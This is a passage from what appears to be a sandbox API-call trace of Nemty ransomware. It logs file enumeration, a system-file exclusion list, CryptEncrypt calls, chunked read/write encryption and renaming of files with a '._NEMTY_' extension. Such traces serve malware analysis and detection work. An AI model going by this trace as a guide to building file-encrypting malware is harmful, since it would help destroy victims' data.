lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.661] CloseHandle (hObject=0xffffffff) returned 0 [0082.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0082.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0082.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0082.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0082.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0082.662] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.662] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.662] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".") returned 1 [0082.662] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="..") returned 1 [0082.662] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="...") returned 1 [0082.662] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="windows") returned -1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.663] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0082.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_scrapbook_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 33 [0082.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94268 [0082.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0082.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_scrapbook_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 33 [0082.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0082.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_scrapbook_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 33 [0082.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0082.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0082.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_scrapbook_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 33 [0082.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.664] Sleep (dwMilliseconds=0x5) [0082.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4ed3c30, dwHighDateTime=0x1d561e7)) [0082.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4ed3c30, dwHighDateTime=0x1d561e7)) [0082.678] GetLastError () returned 0x5 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.678] GetLastError () returned 0x5 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.678] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.678] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="aOBeawiCm2EF87Lhz4DZz0CAUTluyNIRRaOBDABqW7SmnT4kGN0WSrHXzvTe6eEn\r\nFNCjFL+xjKwolQsacYxD+71R/1uO2FqSFtnFe11IoaJELy+WeZwxztX7gto+/a2J\r\nOXU1RKQTFLx8ISxg22gcGivMU0faoAFhmykGyaql87i+cAbKK+qTEcUlIqWsZU06\r\ni6TP6QbLy3/IuEEjMCrMUe/BKMgYm5zLlnt+6Uiee1nVWddrukVQZ678IS0iZMeu\r\nnhgoohpBUHfnWEYIxmYhQ9qifePhxorvXTN/k+cChq0bqp5QwmW5bLEJv6NBBS8F\r\nJ2jh9nUAo89fhFTkqxFDgQ==\r\n", pcchString=0x653ec5c) returned 1 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.678] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.679] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.765] 